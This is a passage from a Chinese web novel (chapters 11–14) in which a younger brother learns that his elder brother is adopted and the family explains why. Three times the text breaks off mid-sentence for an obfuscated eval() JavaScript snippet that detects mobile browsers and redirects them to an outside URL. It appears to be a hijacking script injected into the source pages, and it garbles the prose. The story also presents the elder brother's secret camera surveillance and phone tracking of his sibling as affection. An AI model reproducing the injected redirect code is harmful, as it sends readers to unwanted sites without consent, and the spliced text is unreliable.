“我还没说完!”林启青不管他,自顾自地说下去,“天天发消息报备,吃什么都拍照,生病了非他不可,见不到就魂不守舍。你想象一下,要是我和我哥这样……” 他说到一半就顿住了,脸上的表情从调侃变成惊恐,显然是在脑子里认真过了一遍画面。半晌他打了个寒蝉,惊出一身鸡皮疙瘩。 裴昭的拇指维持着倒扣的姿势,嘴角却微微抿起来。他把手机翻了个面,扣在桌上。然后站起来,把奶茶杯往林启青手里一塞:“帮我带回去,我出去一趟。” 林启青愣住:“你去哪?” 裴昭已经走到门口了,玻璃门推开的时候风铃叮铃铃响了一阵,他的背影融进午后的日光里,只丢下一句话:“突袭我哥公司。” 11. 第 11 章 裴昭到裴寂公司楼下时,正是午后日光最毒的时候。他从出租车上下来,热浪兜头罩脸地扑过来,晒得他眯了眯眼。 大厅的玻璃旋转门内冷气从门缝里溢出来,他快走两步钻进去,站在大堂中央,凉意从头顶灌到脚底。 他正要往电梯口走,脚步忽然顿住。 老远就看到两个身影,一个是他再熟悉不过的裴寂。深灰色的西装,脊背挺直,双手垂在身侧,站姿无可挑剔。 另一个也不完全陌生,是那天在别墅区遇到的中年男人。西装革履,身形和裴寂差不多高,站在裴寂对面,两人像是在说什么不能被第三人听见的话。 那男人的姿态带着几分咄咄逼人,一只手在半空中比了个什么手势,裴寂没有回应,只微微侧着头。 裴昭停在原地,不打算现在过去,甚至说,他有点在发呆。 从他这个角度望过去,只能看到两人的侧脸。而熟悉裴寂如裴昭,只消一眼就心里打了个突,他哥现在的心情十分不美妙,而且很糟糕。 捻在食指指根上的拇指缓慢重重地转着圈,这是裴寂极度忍耐时才会有的小动作。 目光移到对面那个中年男人的侧脸上,裴昭顿时心慌起来。 裴昭和裴寂从小就不怎么像,白锦说是弟弟像妈妈哥哥像爸爸,他也就信了。 可此刻站在不远处的这个男人,和裴寂快像是一个模子里刻出来的,只是比裴寂老了二十岁,眼角的纹路更深,嘴角的下垂更重,眉宇间多一层裴寂没有的市侩与轻浮。 裴昭的心脏毫无来由地揪紧。 这时两人似乎结束了对话,中年男人气冲冲地转身想走,裴寂一贯沉稳内敛,表面瞧不出什么,还是那副刀枪不入的模样。 可他转过身来,目光越过大厅,落在裴昭身上时,滴水不漏的面具裂开了一道缝,缝里漏出了一点惊慌。 虽然转瞬即逝,旁人或许看不出来,但裴昭看得出,他把裴寂脸上每一个细微的变化都收进了眼底。 裴寂低声又对中年男人说了句什么,那人本已走出去几步,闻言停下来,转头深深看了裴昭一眼,然后他快步离开了。 裴寂这才大步走到裴昭面前,他抬手,温热的掌心盖住裴昭大半张脸,拇指贴在他颧骨上,其余四指遮住了他的视线。 “天气这么热,怎么过来了?” 声音平稳,听不出任何异常。 裴昭一把将他哥的手从脸上拽下来,亮晶晶的眼睛直直望进裴寂眼底。 “哥,刚刚那个人你认识啊?”他好奇地问,“他就是我们邻居,竟然回来了?” 裴寂的拇指在指根上捻了一下,他明显不想多解释,只简短道:“他是我的上司。” 裴昭跟着裴寂往电梯走,电梯门合上,镜面内壁映出兄弟俩一前一后的身影。裴昭站在裴寂身后半步,从他哥的后脑勺看到肩膀,他忽然又开口了:“原来是你老板?” 电梯上行,裴寂没有回头。 “哥你有没有发现,他和你长得很像?”裴昭说。 那天他在别墅区细看那张脸后之所以心生怪异,就是因为那个中年男人和裴寂很像。 他当时不曾往这个方向想,可刚才在大厅里,两张侧脸并排立在同一个画面里,便不容回避了。 “嗯。”裴寂毫无波动,“发现了。” 裴昭垮下脸:“你敷衍我。” 电梯门开了,他按着裴昭的肩膀,把他引到办公室里间的休息区,掌心压在他肩头,将他按进靠窗的单人沙发里。 “在这里等哥哥一会儿。”他垂眸看裴昭,“想想晚上吃什么。” 裴昭陷进沙发垫里,仰头看他哥。裴寂已经恢复了惯常的沉稳,方才大厅里那一点不对劲被抹得干干净净。 可裴昭心里还梗着那个画面,但裴寂不愿说的事,谁也撬不开他的嘴。裴昭撇撇嘴,放弃了追问。 他往后一靠,真的开始想晚上吃什么了。 这之后裴昭没再遇到那个中年男人,裴昭心大,忙着上课、画稿,又一次把人忘到了脑后。 时间一晃来到六月。 裴昭要请假几天,白锦给他约了省外一位颇有名望的老中医。 裴昭从小到大看的医生数不过来,中药喝过、针灸扎过、偏方试过,裴以恒甚至有一回不知从哪里弄来一种极苦的药丸,裴昭吃了半个月,胃没养好,倒是瘦了四斤。 可白锦和裴以恒不死心,这些年依然带着他满世界飞。不过去国外太折腾,裴昭晕机,吐得昏天黑地,落了地还要水土不服大病一场,得不偿失,所以尽可能在国内找。 裴昭劝过几次,说身体就这样了,调理了这么多年也不见起色,不如省省。 白锦嘴上应着,回头又托人打听新大夫。渐渐地裴昭也就不多说了,配合着来。他知道这不是折腾,是他爸妈爱他的方式。 哪怕是固执且收效甚微,他也没办法拒绝。 请假要提交材料,家长知情同意书还要附上家长的身份证。裴昭本来在手机里存了一张白锦身份证的照片,以前都是用修图软件批一批日期就搞定。 但不久前换了手机,新手机还是裴寂给他买的最新款,但那张照片忘了备份,云端也没有同步。 刚好在家,裴昭趿着拖鞋直接跑去他爸妈的房间。白锦和裴以恒都不在,他记得白锦经常放证件的抽屉,床头柜第二层,靠左那个。 裴昭蹲下去,拉开抽屉。 里面东西整整齐齐,白锦是个有条理的人,所有证件都分门别类摆好,白锦的身份证就端端正正压在户口本上。 裴昭把身份证抽出来,顺手拿起户口本翻了翻。 好像是换了新户口本了,以前的户口本是磨旧了的皮子,现在这本是新的,硬挺光滑,大概是户口本太旧了,白锦去办了新的吧。 裴昭随意地翻开,入目是自己的那一页,他往前翻,按理说,他前面那一页应该是裴寂的。 户口本上兄弟俩挨在一起,裴寂在前他在后。 裴昭翻过去,入目却是白锦的名字。 他愣了一下,再往前翻是裴以恒。 来来回回翻了三遍,手指捏着页脚,一页一页地捻,像数钞票一样仔细。从封面到封底,从户主页到最后一页的空白备注栏。 裴昭蹲在床头柜前面,蹲到腿都麻了,才终于确认了一件事。 户口本上,裴寂那一页没有了。 不像是破损和脱页,反而就好像是从未存在过的消失。 裴昭的心跳说不清为什么跳得这么快,砰砰砰砰,快得像在追赶什么。 他咽了一口唾沫,脑子里开始替这件事找解释。换户口本的时候把裴寂不小心落掉了?排版的人疏忽了,漏印了一页?白锦拿去办事忘了放回去? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532024|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太牵强。 他匆忙把户口本放回抽屉,动作比拿起来时慌乱得多,抽屉合上的时候夹到了手指,他嘶了一声,把指腹塞进嘴里含了含。 然后站起身,用最快的速度把家长知情同意书填好签字,抓起背包出了门。 裴昭打车去裴寂的公寓,车开出去,他盯着窗玻璃上映出自己的脸,心跳还没平复下来,太阳穴突突地跳,手指无意识地抠着背包带子。 他完全不明白自己这么急匆匆赶来的原因是什么。 是从小到大父母的区别对待?是那次白锦说公司要交到他手上?是兄弟俩几乎找不到一点相似之处的长相?是那张偶然遇见和裴寂极为相似的脸?还是裴寂那些克制掩盖下,偶尔漏出来的疯狂? 裴昭在心里笑自己,哈哈哈,电视剧看多了吧,狗血故事听多了吧。一个户口本能说明什么,难道裴寂还能不是自己亲哥? 从小到大,裴寂给他喂饭,给他吹头发,半夜起来给他盖被子,他生病了裴寂巴不得替他病,不是亲哥,谁会这样? 他手抖地在裴寂的书房里翻找。 裴寂的书房很大,整面墙的书架,书脊排得整整齐齐。裴昭其实也不太清楚自己在找什么,只是本能地觉得,如果家里那本户口本上没有裴寂的名字,那裴寂自己的户口本呢。 很快,他在书桌的抽屉里找到了,一本和家里同样崭新的户口本。 裴昭翻开,第一页不是裴寂,入目是一个完全陌生的名字,裴昭不认识。 他继续翻,在最后一页找到了裴寂的名字,裴寂还是裴寂,可是为什么会在这里,为什么不在家里那本上,为什么前面还有一个陌生人。 裴昭愣在原地,一动不动,手指搓着户口本深红色的封面,指甲在字体上来回刮蹭。 脑袋完全不能思考,不可能,不可能。 裴昭把户口本放回原来的位置,抽屉合上,角度和打开之前一模一样。他不知道自己在小心什么,只是本能地不想留下任何痕迹。然后他站起来,走到卧室。 裴昭趴上床,脸埋在枕头里,闻到熟悉的松木香混着柑橘洗衣液的气味。 他在枕头边缘找到了一根头发,很短,偏硬,是裴寂的。裴昭把头发用纸巾包好,塞进口袋,然后他走出公寓,打了辆车,直奔医院。 出租车后座上,裴昭攥着口袋里的纸巾包,指甲透过纸巾掐进掌心。 理智告诉他,他正在做一件荒唐的事,可身体比理智更快,腿自己走进了书房,手自己翻开了户口本,脚自己迈上了出租车。 与此同时,某栋楼的办公室里,电脑前端坐的男人把平板放下来,屏幕暗下去的前一秒,上面是公寓书房的监控画面,画面定格在蹲在书桌前翻户口本的少年身上。 裴寂掐着食指指根,拇指缓缓转了一圈,他打开手机上的定位软件,一个小点正从公寓的位置往市中心医院的方向移动。 此时天色渐暗,冷白的光从屏幕上映过来,把对面轮廓分明的脸染成一种接近非人的冷色调。他盯着移动的小点,眸色渐深。 终于要发现了吗。 他捻指的动作停住,手机屏幕暗下去,又被他点亮。裴寂靠进椅背,把目光从屏幕上移开。 “昭昭。” 他的嘴唇动了一下,没有声音,只是在心底把那两个字碾碎了咽下去,再翻上来再念一遍。 昭昭。 12. 第 12 章 裴昭在医院门口徘徊了起码半个小时。 市中心医院的灯牌在夜色里亮得刺眼,自动门开开合合,有人拎着药袋匆匆出来,有人搀着病人慢慢进去。 裴昭就蹲在花坛的石阶上,看着这些人来来去去,看着城市在暮色里一盏盏亮起霓虹。 其实就算他不纠结,现在进去时间也晚了,采样窗口四点就关了,要验DNA只能明天来。 他如同一个发现巨大秘密的小孩,茫然无措,理不清目前的所有杂乱思绪。 裴昭把外套拉链拉到头,下巴缩进领口里,只露出一双眼睛盯着对面马路上不断流动的车灯,像他脑子里那些抓不住又甩不掉的念头。 来电铃声响起的时候,裴昭隔了好几秒才反应过来。屏幕亮着哥,他慢悠悠地接通。 “哥。” 他装作正常,声音却比平时轻了半分。 远处街对面的咖啡店里,透明玻璃窗前,静静站着一个高大的男人。裴寂一手插在上衣口袋里,一手举着手机贴在耳边。 他一直在望向马路对面蹲在花坛上的青年。 听到裴昭的声音,裴寂问:“很晚了,怎么还不回家?” 裴昭腿都蹲麻了,站起来的时候表情痛苦了一秒,踉跄半步才站稳。他转身朝马路边走去,伸手拦车,边回裴寂:“哥你说什么?我在家啊。” 声音扬起来,带着刻意的轻松。 裴寂望着正在招手拦车的背影,他握着手机,语调不变:“是吗。” 裴昭突然安静下来,手还举在半空拦车的姿势,但动作停住了。他周围是等车的人,鸣笛的车和闪烁的交通灯,所有的声音都涌过来,又在耳膜外面被隔开。 他听见自己的呼吸,也听见电话那头裴寂的沉默。两个人就这么隔着手机谁也没有说话。 裴寂注视着裴昭的背影,推开了咖啡店的玻璃门,跟着那个背影的方向往外走,随口问道:“这次和妈妈出省大概要几天。” 裴昭搓着手心,一辆出租车靠边停下来,他拉开车门坐进去,报了地址。他低垂下眼,声音轻了几分:“三四天吧。” 就算明天他来送检,也不可能及时知道答案,况且他马上要跟白锦出省,人都不在这里。 电话那头沉默了片刻。 “昭昭?”裴寂出声。 裴昭干笑两声,他把头靠在车窗上,忽然猝不及防地问:“哥,你有没有什么特别重要的事情瞒着我?” 电话那头安静下来,裴昭能听见那头有很轻的呼吸声,和某种更远的背景音,是汽车驶过的声音,行人的脚步声。 裴寂不在家里,也不在办公室。 “很重要吗?” 裴昭不解:“什么?” “这个问题,”裴寂说,“很重要吗?” 裴昭握紧手机,他不知道。他真的不知道。关于裴寂可能不是他亲哥的这个问题,关于那个和裴寂长得很像的中年男人。 所有这些堆在一起,到底重不重要?会不会改变未来的很多事情? 而且看样子,爸妈和裴寂都知道,他们在同一个秘密里待了不知多少年,只有他被挡在外面。 他不能理解他们为什么不把真相告诉他,是怕他受伤?还是觉得他不需要知道? 出租车停在别墅区,裴昭付钱下车,推开车门的时候,电话那头裴寂还在等他的回答。 “先不说了哥,”裴昭对着手机,声音疲惫,“我收拾东西去了。” 完全就是一戳就破的谎言。 回家后白锦和裴以恒已经回来了,见裴昭进门,白锦问:“这么晚了,去哪儿了?” 裴昭把背包放在玄关柜子上,弯腰换鞋,声音闷闷的:“去我哥公寓了。” 白锦哦一声,去端银耳汤:“喝了,润肺的。” 裴昭坐在沙发上,接过碗拿勺子搅了两圈,喝了两口放下。白锦看看他,又看看裴以恒,夫妻俩交换了一个眼神。 裴昭从小就藏不住事,高兴的时候眼睛弯成月牙,不高兴的时候整个人都蔫下去,眼皮耷拉着,谁问都不说。 裴昭心里憋着事,坐了一会儿就起身回房间,他仰躺在床上摸出手机,漫无目的地划了几下,忽然发消息问林启青。 “假如有一天你发现,你哥不是你亲哥——” 林启青秒回:“太好了。” 裴昭盯着那三个字看了一会儿,退出了聊天界面。 他把手机扣在枕边,翻了个身把被子拉上来,脑子里翻来覆去的还是那些问题。 想了很久,最后想的一件事是不管答案是什么,不管真相怎么颠覆,它不会改变一个事实。 裴寂是他哥。 第二天裴昭去学校交了请假的材料,就和白锦出省去看医生了。折腾了大半天,又开了新的方子,新的忌口,新的注意事项。 白锦用手机一条一条地记,裴昭坐在旁边,看着窗外的老街发呆。 这几天他找裴寂的次数变得很少,甚至没有。 裴寂时不时打开手机看裴昭的去向,晚上定点在某间酒店,白天医院晚上回酒店,很规律。 等到裴昭回来的那天,裴寂也回了别墅。 他到的时候,裴昭正坐在客厅沙发上,听到门响抬起头来,两人目光相接的那一瞬间,裴昭明显闪躲了一下。 白锦在厨房忙,裴寂在玄关换鞋,走过去坐到裴昭身边。 “路上累不累?”他问。 裴昭摇头。 “大夫怎么说。” “和以前一样。”裴昭心不在焉地回答。继续调养,继续忌口,继续注意休息。 从小到大听了无数遍的话,倒背如流。 裴寂心里叹息一声,果然已经知道了,但他没有追问,也没有戳破。 他靠在沙发背上,换了个话题,问裴昭这几天吃了什么,胃口怎么样。裴昭一个字一个字地往外蹦,始终没有抬眼看裴寂。 晚上一起吃饭,白锦做了一大桌子菜,油焖大虾、糖醋排骨……裴昭爱吃什么她做什么。 裴昭坐在桌边,习惯性地粘着裴寂,胳膊肘碰到裴寂的手臂时也没有挪开。 裴寂也一如既往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532025|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地照顾他,把鱼刺挑干净了夹到他碗里,把他够不着的糖醋排骨换到他面前,在他只盯着肉吃的时候不动声色地把青菜推过去。 聊天总绕不过那几句,白锦问裴寂公司忙不忙,裴寂说不忙。问有没有按时吃饭,裴寂说有。 然后白锦放下筷子,笑着问了一句:“小寂,有没有喜欢的女孩子?谈对象了吗?” 裴昭抬起头。 裴寂放下筷子,用湿毛巾擦了擦手才回:“没有。” 白锦又转头看向旁边茫然的裴昭,就笑:“两兄弟真是,这方面还真是一个赛一个。” 裴以恒接了一句:“昭昭还小,不急。” 白锦点点头,又看裴寂一眼,嘴角的笑意淡了几分。 白锦和裴以恒既想把裴昭护在身后,又想他学会独立。裴昭抵抗力低了他们怕他生病,出门久了他们怕他受累,从小到大,保护成了一种本能。 但另一方面,他们也知道自己不可能护他一辈子,这种矛盾里长大的裴昭,最后却十分依赖裴寂。 因为裴寂就像是不用掂量分寸的人,护了他十几年。 白锦曾经还爱开玩笑说:是不是哥哥结婚了,弟弟还粘着哥哥? 裴昭当时在饭桌上理直气壮地回:“那我哥不结婚就行了。” 白锦笑骂他不懂事,裴寂在旁边什么都没说,那时候裴昭觉得这句话没有任何问题。现在回想起来,就觉得问题大了。 …… 裴昭洗完澡出来,他拿毛巾随意擦了两下头发,正要往床上倒,听到敲门声。 “请进。” 裴寂推门进来,他也洗过澡了,穿了件深色的家居睡衣,手里什么都没拿,只有一块叠得方方正正的毛巾。 裴寂走到床边,直接拿过裴昭手里那块湿漉漉的毛巾,拉着他坐下,站在他面前,把干毛巾罩上他的头顶。 吹风机嗡嗡地响起来,热风拂过湿发,裴寂的手指插进发丝里,指腹贴着头皮慢慢拨弄。 “心情不好?” 裴寂的声音从头顶传下来,被吹风机的杂音裹着,低沉而含混。 裴昭咬嘴唇,头发被吹得蓬起来,碎发遮住了眉眼,他忽然开口,声音很轻:“哥,你还会离开吗。” 吹风机的开关被按下去,裴寂低头看裴昭的发顶,手指还插在他的头发里,停在那里没有动。 然后他移开吹风机,放在床头柜上。 神色平静的裴寂忽然丢出炸弹:“昭昭知道了对吗。” 裴昭猛地转头看他,他仰着脸,眼睛瞪得很大,瞳仁里映着床头灯暖黄色的光,嘴唇微微张开,却什么也说不出来。 裴寂黑眸沉沉地看着他,眼睛在阴影中颜色更加深不可测,他微微弯下腰,和裴昭平视,声音低而稳:“昭昭。” 裴昭的睫毛抖了两下,他想躲但没有地方可以躲,裴寂的目光把他钉在了原地。 裴寂的手从裴昭头顶滑下来,落在他的后颈上的掌心温热,五指微微收拢,拇指抵在他下颌角的位置,让他微微仰起脸。 “你在害怕什么?” 13. 第 13 章 裴昭脱口而出:“哥你说什么?” 裴寂却弯腰,一只手穿过裴昭的膝弯,另一只手托住他的后背,把他从床边抱起来放上床去。裴昭陷进床垫里,还没来得及翻身,裴寂已经跟着上了床,把他搂进怀里,拉起被子盖住两人半身。 “昭昭去做了DNA鉴定,结果出来了对吗。” 裴昭指尖发颤,裴寂什么都知道,知道他去了医院。 “你都知道,你都知道为什么不告诉我真相?” 裴寂叹气,他把裴昭往怀里带了带,手掌覆上他的后背,隔着睡衣薄薄的面料顺着脊椎往下抚。 “昭昭,稳定一下情绪。”他的声音沉而缓,“告诉哥哥,你在怕什么?” 裴昭放空大脑,他在害怕什么? 大人总说小孩子不记仇,有什么事过不了多久就忘记了,可是不对。 裴昭记事那会儿,裴寂是对他疏离且冷冰冰的,别看小裴昭天天笑着喊哥哥粘上去,被哥哥一凶一拒绝,他真的很伤心。 会躲进小被子里偷偷流眼泪被子蒙过头顶,在里面一抽一抽地无声地哭。 气性大的时候也气鼓鼓地发誓,再也不要理这个坏哥哥了。可跑出去转了一圈,别墅区里没有其他小孩子愿意跟他玩。 小裴昭在秋千旁边站了很久,看着别的孩子追来跑去,又灰溜溜地回了家。推开裴寂的房门,从门缝里探进半个脑袋,怯生生地说哥你要不要吃水果。 他没什么骨气,他只有这一个哥哥。 直到后来意外发生后,裴寂不知道是因为愧疚还是什么,终于不再拒他于千里之外。 裴昭那时已经看懂了点,爸爸妈妈总是偏爱自己,不是故意的,就是所有人都会先看到那个脆弱需要被保护的小孩,然后忘了还有一个孩子也需要被看见。 裴昭认定了是这个原因,之前的裴寂才会不喜欢自己,但总归哥哥变成了好哥哥,他便开心了,也就好久好久不曾回忆儿时的伤心难过。 裴昭愣愣地想,他应该不是在害怕什么,他只是不敢接受裴寂不是他亲哥的可能,不敢接受哥哥不再在他身边保护他的可能。 他已经被裴寂宠坏了,那个曾经害他流眼泪的坏哥哥,他一点也不想要换成别人的。 虽然现在得知自己和裴寂没有血缘关系,但背后的故事真相他依然一无所知。裴寂具体是谁?难道是爸妈在孤儿院抱养的?可如果是这样,为什么裴寂和那个邻居中年男人会是父子关系? 裴昭挣开了点,从裴寂怀里退出来半寸,仰起脸直直望进他的眼睛:“你们都知道,为什么不告诉我?” 裴寂顺着他松开手臂,裴昭退出去的那点距离,他没有追上去,但手掌还搭在裴昭后腰,没有拿开。 “昭昭不要胡思乱想。”他先安抚裴昭的情绪,“没告诉你只是因为爸妈觉得说不说都一样,我还是你的哥哥。” 裴昭转过头,期待地看向他:“真的吗?那你的父亲……那个男人是怎么回事?” 裴寂不愿多说,提到那个人时,他的眼神沉了一瞬。 “他有很多儿子,不需要我。” 裴昭一听就不乐意了,什么叫他有很多儿子不需要你?裴昭坐直了,整个人从裴寂怀里弹起来,被子滑到腰际。 “放屁。”他声音拔高了半度,怒气冲冲,“你这么优秀。” 话音未落,裴寂伸手,不轻不重地拍了一下他的屁股:“不要说脏话,昭昭。” 裴昭下意识去抓他的手,把他的手从自己屁股上拿开,两只手并用地攥住,牢牢压在被子上面。“都说了不要打我屁股。” 他耳尖还红着,语气倒是比刚才理直气壮了几分。 裴寂紧绷一整晚的心情终于松动了几分,他从裴昭手里抽出手指,反手握住他的手。 “不胡思乱想了?” 裴昭垂下眼,他这几天在网上搜了好多东西。 比如兄弟无血缘关系是什么情况? 比如孤儿院领养……越搜越糊涂,什么狗血的故事都搜出来了。 有说是抱错了孩子的,有说是隐瞒身世的,有说财产纠纷的,有说家族秘辛的。有一些越看越像那么回事,明知道千万不该信,但现实中不是没有存在过。 他只是担心裴寂的身世另有隐情,他担心会再次失去哥哥。 裴寂听完,眼中笑意更浓。 裴昭被他看得脸热,扑上去双手盖住裴寂的脸,把他的眼睛连同那点笑意一起捂住。 “不许笑了。”他恼羞成怒,“本来就是你们的错,这么重要的事情居然瞒着我。” 裴寂闷笑,笑声被裴昭的手掌捂着,变成胸腔里一阵低沉的震动。他翻身,裴昭只觉得天旋地转,后背就贴上了床垫,裴寂侧躺在他身旁,把他重新圈进怀里。 手臂从脖子底下穿过去,另一只手搭在他腰侧,把他整个人捞进胸口。下巴抵在裴昭发顶,呼吸落在他发旋上,一呼一吸,温热而绵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532026|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长。 “这几天肯定没休息好,现在可以好好睡觉了吗?” 裴昭闭眼,他确实好几天没睡好了,在省外的酒店里翻来覆去,在回来的飞机上闭眼全是户口本上空白的那一页。 现在被裴寂圈在怀里,从发现秘密开始就绷在心里的弦终于松了。 但还有一根没有完全松开,裴昭闭着眼,忽然又问:“哥,你怎么什么都知道?我去做DNA鉴定的事你都知道了?” 裴寂沉默片刻,手掌在裴昭后背上有一下没一下地拍着,节奏缓慢,像小时候哄他睡觉一样。 “我猜的。”他说。 …… 那晚看似说清了,但裴昭觉得裴寂有很多话没有说完,关于他的身世,还有那个中年男人是什么来头?裴寂小时候经历过什么?还有关于自己最后问的那个问题。 裴寂不会对他说谎,那就肯定隐瞒了好多好多。 等裴昭去学校补完两天课,周末放假回家。 “妈爸。”他叫了一声,“我有件事要跟你们说。” 饭桌上,裴昭忽然坦白了自己已经知道裴寂不是他亲哥的事。 白锦的筷子顿一下,裴以恒放下茶杯,两人对视一眼,有些惊讶,但并不是裴昭想象中的那种慌乱。 白锦把筷子放下,用湿毛巾擦了擦手,他们似乎在想该怎么措辞。 “昭昭怎么发现的?”白锦问。 裴昭一五一十说了。 白锦听着听着,表情从认真变成了无奈,最后竟有点哭笑不得。裴昭把那些乱七八糟的猜测也说了出来,白锦终于忍不住打断了他。 “你想什么呢。”她叹口气,“你哥刚到我们家的时候才3岁,那么小一点点,瘦得怪可怜的。” “小时候觉得没必要告诉你,长大后看你们感情这么好,也觉得说不说都一样。” 裴昭松了一口气,原来真是自己多想了。很多担忧都是自己吓自己,但很快,白锦筷子一顿,裴昭心里警报又响起来。 “妈,你上次说我哥有自己的一部分,是指隔壁那个大叔家吗?” “小寂毕竟是他的亲生儿子。小寂自己也有想法,所以才会主动找到我们,说要把户口迁回去。” 裴昭越听越糊涂,夹了一筷子肉塞进嘴里,嚼了两下,声音含含糊糊的:“到底怎么回事嘛?” 裴以恒放下筷子,喝了口水才开口,他像是在组织语言:“都是小寂的父亲,不干人事。” 14. 第 14 章 今天是个阴天,雨不大却淅淅沥沥下个不停,从早上到午休,从午休到第一节课,没有要停的意思。 这场雨落下来并不冷,反而有点闷热,空气里全是泥腥味,所有的气味被湿气一蒸,混成一种让人透不过气来的潮闷。 下午第一节课,学生们昏昏沉沉。讲台上的老师撑着讲桌在讲什么,声音被窗外的雨声滤过。 靠窗坐的裴昭手里握着笔,笔尖戳在课本空白处,已经洇出一小团墨点。他眼睛盯着黑板的方向,却什么都没有在看。 他在发呆。 旁边林启青用胳膊拐了他一下,裴昭回神,目光往林启青脸上飘了一瞬,又转回去,继续盯着黑板上他自己也没在看的公式,心不在焉。 林启青就奇怪了,裴昭这副魂不守舍的样子已经维持三天了。上课走神,下课不说话,吃饭的时候拿筷子戳着碗里的米粒,戳了半天一口没吃。 他上次见裴昭这样还是裴寂刚出国那阵,那时候裴昭也是这么个状态,不说话不笑,蔫头耷脑。 林启青一琢磨,似乎想明白了,难道他哥又出国了? 下课铃响,裴昭照样同林启青道别,撑着伞走进雨里。他撑着伞走过校道,一路走回裴寂的公寓。 指纹锁嘀一声打开,玄关的灯自动亮起来,他换了拖鞋走进去,坐在沙发上抱着靠枕发呆。 恰好今天裴寂下班早,门锁响的时候裴昭还没反应过来,等裴寂推门而入,站在玄关换鞋,他才猛地走到走廊口,直勾勾看着裴寂。 裴寂顿了一下,他把车钥匙放在玄关托盘里,走过去牵住裴昭的手,把他拉到沙发上坐下。 裴昭的手是凉的,指尖微微蜷着,被裴寂整个包进掌心里。裴寂用手捏了捏弟弟的脸颊,拇指轻轻掐起一点软肉,晃了晃,笑问:“还要这么盯着我看多久?” 裴昭晃晃脑袋。 裴寂无奈,自从裴昭从爸妈那里得知了自己的过往,当晚就眼眶红彤彤地跑来公寓。 门一开,裴寂还没来得及说话,裴昭就一言不发地扑进他怀里。整个人的重量都撞上来,脸埋在他胸口,哭是没哭,眼泪没流,就是扁着嘴不说话。 裴寂哄了好一会儿才把人暂时哄稳定下来,但应该是裴昭自己觉得,本来裴寂就够可怜的了,现在还要哄自己,所以猛吸一口气,把眼眶里那点潮意硬生生憋回去,然后拽着裴寂的手腕把他拖进卧室,按在床上,拉起被子给他盖好,小手隔着被子在他胸口拍了拍。 说:“哥你快睡觉。” 裴寂有点哭笑不得,他知道裴昭是心疼自己了,但那些事对他来说早已是陈年旧痂。他那时才三岁,太具体的事情都不记得了,更不会因此伤心,只是洛承确实很烦。 但显然裴昭没有听进去。他执意摆出一副要照顾裴寂的姿态,忙前忙后,倒水掖被角。 裴寂没办法,只能伸手揽住裴昭的腰,把他整个人捞进怀里,低低地说:“给哥哥抱抱就好。” 裴昭也就乖下来,躺在他怀里不动,缩成小小一团,额头抵着裴寂的锁骨,呼吸一下一下拂过他的皮肤。 裴寂低头,用侧脸蹭蹭他的脸颊,裴昭的脸刚从被子里闷过,还带着一点潮热,蹭上去又软又滑。 “怎么这么乖?” 裴昭仰起漂亮小脸,黑亮的大眼睛一瞬不瞬盯着他,还是不说话。 本来是裴昭要哄裴寂睡觉的,最后倒成了裴寂把裴昭哄睡着。裴昭的呼吸平下来,攥着裴寂衣领的手指也松开了,裴寂拉好被子闭上眼睛。 …… 眼看着晚饭时间快到了,裴昭得按时吃饭,裴寂起身去准备做饭。 裴昭趿着拖鞋走过去,裴寂站在灶台前,正撩起袖子洗菜,他的手浸在流水中,小臂上那道很淡的旧疤就露出来了。 裴昭像个小尾巴一样跟在他哥身后,裴寂走到冰箱前,他跟到冰箱前。 裴寂走到灶台边,他跟到灶台边,在裴寂撩起袖子时,裴昭又看到了那道疤,虽然淡得几乎要被肤色吞没。 他忽然伸手,指尖悬在裴寂小臂上方,没有直接碰上去。 “哥,疼不疼?” 裴寂回头,顺着他的视线看去。水还开着,他先把水龙头关上,手在围裙上擦了两下,转过身来,把手臂翻过来让裴昭看。 “不疼的昭昭。” 那条疤很旧了,边缘平滑,早就长好了。裴昭盯着那条疤看了很久,然后把手慢慢放下来,攥住裴寂的衣角。 裴寂在裴昭眼里是很优秀的哥哥,从小就是。功课好,运动好,什么都会,什么都能解决,好像没有裴寂办不到的事。 但有些时刻,裴昭替裴寂感到不值,爸妈似乎从来不会为裴寂取得的成绩感到特别开心特别欣慰。 反而是他自己,小时候生病被哄着多吃了一口饭都要被白锦夸上天,他要是考个年级前三,全家都高兴得跟过年一样。 裴昭以前不明白为什么,他以为是爸妈把关注都给了自己,忘了还有一个孩子也需要被看见。但他是既得利益者,他不可能去怪爸妈。 他能做的只有加倍对裴寂好,可如今得知,爸妈的差别对待不是疏忽,是有原因的。到头来,竟然是因为裴寂不是他的亲哥哥。 裴昭心里憋着一口气,那口气堵在胸口,吞不下去也吐不出来,他无处发泄,因此吃不好睡不好。 